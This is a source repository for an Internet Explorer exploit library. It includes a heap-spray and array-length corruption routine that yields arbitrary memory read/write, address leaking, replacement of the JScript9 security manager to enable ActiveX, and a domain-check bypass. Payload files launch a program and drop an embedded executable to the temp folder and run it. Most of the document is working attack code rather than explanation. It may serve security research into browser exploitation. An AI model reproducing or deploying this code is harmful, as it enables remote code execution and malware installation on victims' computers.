├── Exploit IE Using Scriptable ActiveX Controls.pdf ├── payload ├── exec.js └── drop_exec.js ├── .gitattributes ├── example.html ├── .gitignore └── lib └── explib2.js /Exploit IE Using Scriptable ActiveX Controls.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rolinston/explib2/HEAD/Exploit IE Using Scriptable ActiveX Controls.pdf -------------------------------------------------------------------------------- /payload/exec.js: -------------------------------------------------------------------------------- 1 | function payload_exec(cmd) { 2 | 3 | this.execute = function(explib) { 4 | 5 | var WshShell = new ActiveXObject("WScript.shell"); 6 | var oExec = WshShell.Exec("calc"); 7 | } 8 | 9 | return this; 10 | } -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | *.sln merge=union 7 | *.csproj merge=union 8 | *.vbproj merge=union 9 | *.fsproj merge=union 10 | *.dbproj merge=union 11 | 12 | # Standard to msysgit 13 | *.doc diff=astextplain 14 | *.DOC diff=astextplain 15 | *.docx diff=astextplain 16 | *.DOCX diff=astextplain 17 | *.dot diff=astextplain 18 | *.DOT diff=astextplain 19 | *.pdf diff=astextplain 20 | *.PDF diff=astextplain 21 | *.rtf diff=astextplain 22 | *.RTF diff=astextplain 23 | -------------------------------------------------------------------------------- /example.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 34 | 35 | -------------------------------------------------------------------------------- /payload/drop_exec.js: -------------------------------------------------------------------------------- 1 | function payload_drop_exec(pe) { 2 | 3 | this.execute = function(explib) { 4 | 5 | var WshShell = new ActiveXObject("WScript.shell"); 6 | var temp = WshShell.ExpandEnvironmentStrings("%TEMP%"); 7 | var filename = temp + "\\a.exe"; 8 | 9 | var bStream = new ActiveXObject("ADODB.Stream"); 10 | var txtStream = new ActiveXObject("ADODB.Stream"); 11 | bStream.Type = 1; 12 | txtStream.Type = 2; 13 | 14 | 15 | bStream.Open(); 16 | txtStream.Open(); 17 | 18 | txtStream.WriteText(pe); 19 | txtStream.Position = 2; 20 | txtStream.CopyTo( bStream ); 21 | txtStream.Close(); 22 | 23 | alert(filename); 24 | 25 | explib.saveToFile(bStream, filename); 26 | //bStream.SaveToFile(filename, 2); 27 | bStream.Close(); 28 | 29 | 30 | oExec = WshShell.Exec(filename); 31 | } 32 | 33 | return this; 34 | } -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ################# 2 | ## Eclipse 3 | ################# 4 | 5 | *.pydevproject 6 | .project 7 | .metadata 8 | bin/ 9 | tmp/ 10 | *.tmp 11 | *.bak 12 | *.swp 13 | *~.nib 14 | local.properties 15 | .classpath 16 | .settings/ 17 | .loadpath 18 | 19 | # External tool builders 20 | .externalToolBuilders/ 21 | 22 | # Locally stored "Eclipse launch configurations" 23 | *.launch 24 | 25 | # CDT-specific 26 | .cproject 27 | 28 | # PDT-specific 29 | .buildpath 30 | 31 | 32 | ################# 33 | ## Visual Studio 34 | ################# 35 | 36 | ## Ignore Visual Studio temporary files, build results, and 37 | ## files generated by popular Visual Studio add-ons. 38 | 39 | # User-specific files 40 | *.suo 41 | *.user 42 | *.sln.docstates 43 | 44 | # Build results 45 | 46 | [Dd]ebug/ 47 | [Rr]elease/ 48 | x64/ 49 | build/ 50 | [Bb]in/ 51 | [Oo]bj/ 52 | 53 | # MSTest test Results 54 | [Tt]est[Rr]esult*/ 55 | [Bb]uild[Ll]og.* 56 | 57 | *_i.c 58 | *_p.c 59 | *.ilk 60 | *.meta 61 | *.obj 62 | *.pch 63 | *.pdb 64 | *.pgc 65 | *.pgd 66 | *.rsp 67 | *.sbr 68 | *.tlb 69 | *.tli 70 | *.tlh 71 | *.tmp 72 | *.tmp_proj 73 | *.log 74 | *.vspscc 75 | *.vssscc 76 | .builds 77 | *.pidb 78 | *.log 79 | *.scc 80 | 81 | # Visual C++ cache files 82 | ipch/ 83 | *.aps 84 | *.ncb 85 | *.opensdf 86 | *.sdf 87 | *.cachefile 88 | 89 | # Visual Studio profiler 90 | *.psess 91 | *.vsp 92 | *.vspx 93 | 94 | # Guidance Automation Toolkit 95 | *.gpState 96 | 97 | # ReSharper is a .NET coding add-in 98 | _ReSharper*/ 99 | *.[Rr]e[Ss]harper 100 | 101 | # TeamCity is a build add-in 102 | _TeamCity* 103 | 104 | # DotCover is a Code Coverage Tool 105 | *.dotCover 106 | 107 | # NCrunch 108 | *.ncrunch* 109 | .*crunch*.local.xml 110 | 111 | # Installshield output folder 112 | [Ee]xpress/ 113 | 114 | # DocProject is a documentation generator add-in 115 | DocProject/buildhelp/ 116 | DocProject/Help/*.HxT 117 | DocProject/Help/*.HxC 118 | DocProject/Help/*.hhc 119 | DocProject/Help/*.hhk 120 | DocProject/Help/*.hhp 121 | DocProject/Help/Html2 122 | DocProject/Help/html 123 | 124 | # Click-Once directory 125 | publish/ 126 | 127 | # Publish Web Output 128 | *.Publish.xml 129 | *.pubxml 130 | 131 | # NuGet Packages Directory 132 | ## TODO: If you have NuGet Package Restore enabled, uncomment the next line 133 | #packages/ 134 | 135 | # Windows Azure Build Output 136 | csx 137 | *.build.csdef 138 | 139 | # Windows Store app package directory 140 | AppPackages/ 141 | 142 | # Others 143 | sql/ 144 | *.Cache 145 | ClientBin/ 146 | [Ss]tyle[Cc]op.* 147 | ~$* 148 | *~ 149 | *.dbmdl 150 | *.[Pp]ublish.xml 151 | *.pfx 152 | *.publishsettings 153 | 154 | # RIA/Silverlight projects 155 | Generated_Code/ 156 | 157 | # Backup & report files from converting an old project file to a newer 158 | # Visual Studio version. Backup files are not needed, because we have git ;-) 159 | _UpgradeReport_Files/ 160 | Backup*/ 161 | UpgradeLog*.XML 162 | UpgradeLog*.htm 163 | 164 | # SQL Server files 165 | App_Data/*.mdf 166 | App_Data/*.ldf 167 | 168 | ############# 169 | ## Windows detritus 170 | ############# 171 | 172 | # Windows image file caches 173 | Thumbs.db 174 | ehthumbs.db 175 | 176 | # Folder config file 177 | Desktop.ini 178 | 179 | # Recycle Bin used on file shares 180 | $RECYCLE.BIN/ 181 | 182 | # Mac crap 183 | .DS_Store 184 | 185 | 186 | ############# 187 | ## Python 188 | ############# 189 | 190 | *.py[co] 191 | 192 | # Packages 193 | *.egg 194 | *.egg-info 195 | dist/ 196 | build/ 197 | eggs/ 198 | parts/ 199 | var/ 200 | sdist/ 201 | develop-eggs/ 202 | .installed.cfg 203 | 204 | # Installer logs 205 | pip-log.txt 206 | 207 | # Unit test / coverage reports 208 | .coverage 209 | .tox 210 | 211 | #Translations 212 | *.mo 213 | 214 | #Mr Developer 215 | .mr.developer.cfg 216 | -------------------------------------------------------------------------------- /lib/explib2.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | ExpLib = (function() { 4 | 5 | function ExpLib( num_arrays, arr_size, base, payload ) { 6 | this.arr1 = null; 7 | this.arr2 = null; 8 | this.base = base; 9 | this.arr_size = arr_size; 10 | this.arr_arr = null; 11 | 12 | this.payload = payload; 13 | this.modules = {} 14 | this.getproc = null; 15 | this.loadlibrary = null; 16 | 17 | } 18 | 19 | ExpLib.prototype.resolveAPI = function( modulename, procname ) { 20 | var module = this.resolveModule( modulename ); 21 | 22 | return this.callAPI( this.getproc, module, this.allocateString(procname) ); 23 | } 24 | 25 | ExpLib.prototype.resolveModule = function( modulename ) { 26 | if ( this.modules[modulename] ) 27 | return this.modules[modulename]; 28 | 29 | var module = this.callAPI( this.loadlibrary, this.allocateString(modulename) ); 30 | this.modules[modulename] = module; 31 | return module; 32 | } 33 | 34 | 35 | ExpLib.prototype.spray = function() { 36 | this.arr_arr = new Array( num_arrays ); 37 | 38 | var decl = "["; 39 | 40 | for ( var i = 0; i < this.arr_size - 1; ++ i ) { 41 | decl += '0,'; 42 | } 43 | 44 | decl += '0'; 45 | decl += ']'; 46 | 47 | for ( var i = 0; i < num_arrays; ++ i ) { 48 | this.arr_arr[i] = eval(decl); 49 | this.arr_arr[i][0] = 0x21212121; 50 | this.arr_arr[i][1] = 0x22222222; 51 | this.arr_arr[i][2] = 0x23232323; 52 | this.arr_arr[i][3] = 0x24242424; 53 | } 54 | 55 | 56 | //alert('finished spray'); 57 | } 58 | 59 | ExpLib.prototype.setValue = function(i1, i2, v) { 60 | this.arr_arr[i1][i2] = v; 61 | } 62 | 63 | 64 | ExpLib.prototype.setValueByAddr = function(index, addr, v) { 65 | this.arr_arr[index][((addr % 0x1000) - 0x20) / 4] = v; 66 | } 67 | 68 | 69 | 70 | ExpLib.prototype.read32 = function(addr) { 71 | if ( addr % 4 ) { 72 | // error 73 | } 74 | 75 | if ( addr >= this.arr2_member_base ) { 76 | return this.arr2[(addr - this.arr2_member_base)/4]; 77 | } else { 78 | return this.arr2[0x40000000 - (this.arr2_member_base - addr)/4] 79 | } 80 | } 81 | 82 | ExpLib.prototype.write32 = function(addr, value) { 83 | if ( addr % 4 ) { 84 | // error 85 | } 86 | 87 | if ( value >= 0x80000000 ) 88 | value = -(0x100000000 - value); 89 | 90 | //alert(((addr - this.arr2_member_base)/4).toString(16)); 91 | if ( addr >= this.arr2_member_base ) { 92 | this.arr2[(addr - this.arr2_member_base)/4] = value; 93 | } else { 94 | this.arr2[0x40000000 - (this.arr2_member_base - addr) / 4] = value; 95 | } 96 | } 97 | 98 | ExpLib.prototype.read8 = function(addr) { 99 | var value = this.read32( addr & 0xfffffffc ); 100 | switch ( addr % 4 ) { 101 | case 0: return (value & 0xff); 102 | case 1: return ((value >> 8) & 0xff); 103 | case 2: return ((value >> 16) & 0xff); 104 | case 3: return ((value >> 24) & 0xff); 105 | } 106 | 107 | return 0; 108 | } 109 | 110 | ExpLib.prototype.write8 = function(addr, value) { 111 | var original_value = this.read32( addr & 0xfffffffc ); 112 | var new_value; 113 | 114 | switch ( addr % 4 ) { 115 | case 0: 116 | new_value = (original_value & 0xffffff00) | (value & 0xff); 117 | break; 118 | 119 | case 1: 120 | new_value = (original_value & 0xffff00ff) | ((value & 0xff) << 8); 121 | break; 122 | case 2: 123 | new_value = (original_value & 0xff00ffff) | ((value & 0xff) << 16); 124 | break; 125 | case 3: 126 | new_value = (original_value & 0x00ffffff) | ((value & 0xff) << 24); 127 | break; 128 | } 129 | 130 | 131 | this.write32( addr & 0xfffffffc, new_value ); 132 | } 133 | 134 | 135 | ExpLib.prototype.writeBytes = function(addr, bytes) { 136 | for ( var i = 0; i + 3 < bytes.length; i += 4 ) { 137 | var value = (bytes[i] & 0xff) | ((bytes[i+1] & 0xff) << 8) | 138 | ((bytes[i + 2] & 0xff) << 16) | ((bytes[i + 3] & 0xff) << 24); 139 | 140 | this.write32( addr + i, value ); 141 | } 142 | 143 | for ( ; i < bytes.length; ++ i ) { 144 | this.write8( addr + i, bytes[i] ); 145 | } 146 | } 147 | 148 | ExpLib.prototype.writeString = function(addr, s) { 149 | var bytes = []; 150 | var i = 0; 151 | for ( ; i < s.length; ++ i ) { 152 | bytes[i] = s.charCodeAt(i); 153 | } 154 | 155 | bytes[i] = 0; 156 | 157 | this.writeBytes( addr, bytes ); 158 | } 159 | 160 | ExpLib.prototype.writeStringW = function(addr, s) { 161 | var bytes = []; 162 | var i = 0; 163 | for ( ; i < s.length; ++i ) { 164 | bytes[i * 2] = s.charCodeAt(i); 165 | bytes[i * 2 + 1] = 0; 166 | } 167 | 168 | bytes[s.length * 2] = 0; 169 | bytes[s.length * 2 + 1] = 0; 170 | 171 | this.writeBytes( addr, bytes ); 172 | } 173 | 174 | ExpLib.prototype.read16 = function(addr) { 175 | if ( addr % 2 ) { 176 | // error, not aligned 177 | } 178 | 179 | var value = this.read32( addr & 0xfffffffc ); 180 | switch ( addr % 4 ) { 181 | case 0: return (value & 0xffff); 182 | case 1: return ((value >> 8) & 0xffff); 183 | case 2: return ((value >> 16) & 0xffff); 184 | case 3: /*not supported*/ break; 185 | } 186 | 187 | return 0; 188 | } 189 | 190 | ExpLib.prototype.strequal = function(addr, s) { 191 | for ( var i = 0; i < s.length; ++ i ) { 192 | if ( this.read8(addr + i) != s.charCodeAt(i) ) 193 | return false; 194 | } 195 | 196 | return true; 197 | } 198 | 199 | 200 | ExpLib.prototype.getModuleBase = function(addr) { 201 | 202 | var cur_addr = addr; 203 | 204 | while ( cur_addr > 0 ) { 205 | 206 | if ( (this.read32(cur_addr) & 0xffff) == 0x5a4d ) { 207 | return cur_addr; 208 | } 209 | 210 | cur_addr -= 0x10000; 211 | } 212 | 213 | return 0; 214 | } 215 | 216 | 217 | 218 | ExpLib.prototype.getModuleBaseFromIAT = function(base, name) { 219 | var import_table = base + this.read32( base + this.read32(base + 0x3c) + 0x80 ); 220 | var cur_table = import_table; 221 | 222 | while ( cur_table < import_table + 0x1000 ) { 223 | 224 | var name_addr = base + this.read32(cur_table + 12); 225 | if ( this.strequal( name_addr, name ) ) { 226 | var iat = base + this.read32(cur_table + 16); 227 | var func = this.read32(iat); 228 | while ( 0 == func ) { 229 | iat += 4; 230 | func = this.read32(iat); 231 | } 232 | 233 | return this.getModuleBase( func & 0xFFFF0000 ); 234 | 235 | } 236 | 237 | cur_table += 20; 238 | } 239 | 240 | return 0; 241 | } 242 | 243 | ExpLib.prototype.getProcAddress = function(base, procname) { 244 | var export_table = base + this.read32( base + this.read32(base + 0x3c) + 0x78 ); 245 | var num_functions = this.read32( export_table + 20 ); 246 | var addr_functions = base + this.read32( export_table + 28 ); 247 | var addr_names = base + this.read32( export_table + 32 ); 248 | var addr_ordinals = base + this.read32( export_table + 36 ); 249 | 250 | for ( var i = 0; i < num_functions; ++ i ) { 251 | var name_addr = this.read32( addr_names + i * 4 ) + base; 252 | if ( this.strequal( name_addr, procname ) ) { 253 | var ordinal = this.read16( addr_ordinals + i * 2 ); 254 | var result = this.read32( addr_functions + ordinal * 4 ) + base; 255 | return result; 256 | } 257 | } 258 | 259 | return 0; 260 | } 261 | 262 | ExpLib.prototype.searchBytes = function(pattern, start, end) { 263 | 264 | if ( start >= end || start + pattern.length > end ) 265 | return 0; 266 | 267 | var pos = start; 268 | while ( pos < end ) { 269 | for ( var i = 0; i < pattern.length; ++ i ) { 270 | if ( this.read8(pos + i) != pattern[i] ) 271 | break; 272 | } 273 | 274 | if ( i == pattern.length ) { 275 | return pos; 276 | } 277 | 278 | ++ pos; 279 | } 280 | 281 | return 0; 282 | } 283 | 284 | 285 | ExpLib.prototype.getError = function(msg) { 286 | return this.err_msg; 287 | } 288 | 289 | ExpLib.prototype.setError = function(msg) { 290 | this.err_msg = msg; 291 | } 292 | 293 | ExpLib.prototype.memcpy = function(dst, src, size) { 294 | var i = 0; 295 | for ( ; i < size - 4; i += 4 ) { 296 | this.write32( dst + i, this.read32(src + i) ); 297 | } 298 | 299 | for ( ; i < size; ++ i ) { 300 | this.write8( dst + i, this.read8(src + i) ); 301 | } 302 | } 303 | 304 | ExpLib.prototype.go = function() { 305 | 306 | var i = 0; 307 | 308 | 309 | 310 | for ( ; i < this.arr_arr.length - 1; ++ i ) { 311 | this.arr_arr[i][this.arr_size + 0x1c / 4] = 0; 312 | 313 | if ( this.arr_arr[i][this.arr_size + 0x18 / 4] == this.arr_size ) { 314 | this.arr_arr[i][this.arr_size + 0x14 / 4] = 0x3fffffff; 315 | this.arr_arr[i][this.arr_size + 0x18 / 4] = 0x3fffffff; 316 | 317 | this.arr_arr[i + 1].length = 0x3fffffff; 318 | 319 | if ( this.arr_arr[i+1].length == 0x3fffffff ) 320 | break; 321 | } 322 | 323 | } 324 | 325 | if ( i >= this.arr_arr.length - 1 ) { 326 | this.setError( "Cannot find array with corrupt length!" ); 327 | return false; 328 | } 329 | 330 | 331 | 332 | this.arr1_idx = i; 333 | this.arr2_idx = i + 1; 334 | 335 | this.arr1 = this.arr_arr[i]; 336 | this.arr2 = this.arr_arr[i + 1]; 337 | 338 | this.arr2_base = this.base + 0x1000; 339 | this.arr2_member_base = this.arr2_base + 0x20; 340 | 341 | 342 | var target_arr = new Array( 1, 2, 3, 4, 5 ); 343 | 344 | 345 | 346 | 347 | var target_arr_addr = this.leakAddress(target_arr); 348 | var target_arr_vftable = this.read32(target_arr_addr); 349 | 350 | var func_addr = this.leakAddress(ActiveXObject); 351 | var script_engine_addr = this.read32(this.read32(func_addr + 0x1c) + 4); 352 | 353 | //alert(script_engine_addr.toString(16)); 354 | 355 | var original_securitymanager = this.read32( script_engine_addr + 0x21c ); 356 | if ( !original_securitymanager ) { 357 | // let security manager to be valid 358 | try { 359 | var WshShell = new ActiveXObject("WScript.shell"); 360 | } catch (e) {} 361 | 362 | original_securitymanager = this.read32( script_engine_addr + 0x21c ); 363 | } 364 | 365 | var original_securitymanager_vtable = this.read32(original_securitymanager); 366 | var securitymanager_size = 0x28; 367 | var fake_securitymanager = 0x1a1b2010; 368 | var fake_securitymanager_vtable = fake_securitymanager + 0x28; 369 | 370 | //alert(original_securitymanager.toString(16)); 371 | 372 | this.memcpy( fake_securitymanager, original_securitymanager, securitymanager_size ); 373 | this.memcpy( fake_securitymanager_vtable, original_securitymanager_vtable, 0x70 ); 374 | this.write32( fake_securitymanager, fake_securitymanager_vtable ); 375 | //alert(1); 376 | this.write32(script_engine_addr + 0x21c, fake_securitymanager); 377 | 378 | var jscript9_base = this.getModuleBase( this.read32(script_engine_addr) & 0xffff0000 ); 379 | var jscript9_code_start = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x104); 380 | var jscript9_code_end = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x108); 381 | 382 | 383 | this.write32( fake_securitymanager_vtable + 0x14, 384 | this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x08], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 8; */ 385 | 386 | this.write32( fake_securitymanager_vtable + 0x10, 387 | this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x04], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 4; */ 388 | 389 | this.payload.execute(this); 390 | 391 | 392 | /* 393 | * restore 394 | */ 395 | 396 | this.write32( script_engine_addr + 0x21c, original_securitymanager ); 397 | 398 | return true; 399 | 400 | } 401 | 402 | ExpLib.prototype.leakAddress = function(obj) { 403 | this.arr_arr[this.arr2_idx + 1][2] = obj; 404 | return this.read32(this.arr2_member_base + 0x1008); 405 | } 406 | 407 | 408 | ExpLib.prototype.saveToFile = function(stream, filename) { 409 | 410 | var obj = this.leakAddress(stream); 411 | var stream_obj = this.read32(obj + 0x30); 412 | var url_addr = this.read32(stream_obj + 0x3c); 413 | 414 | //alert(url_addr.toString(16)); 415 | 416 | /* 417 | * bypass domain check 418 | */ 419 | this.writeStringW( url_addr, 'file:///C:/1.htm' ) 420 | 421 | stream.SaveToFile(filename, 2); 422 | } 423 | 424 | 425 | 426 | 427 | 428 | return ExpLib; 429 | 430 | })(); 431 | --------------------------------------------------------------------------------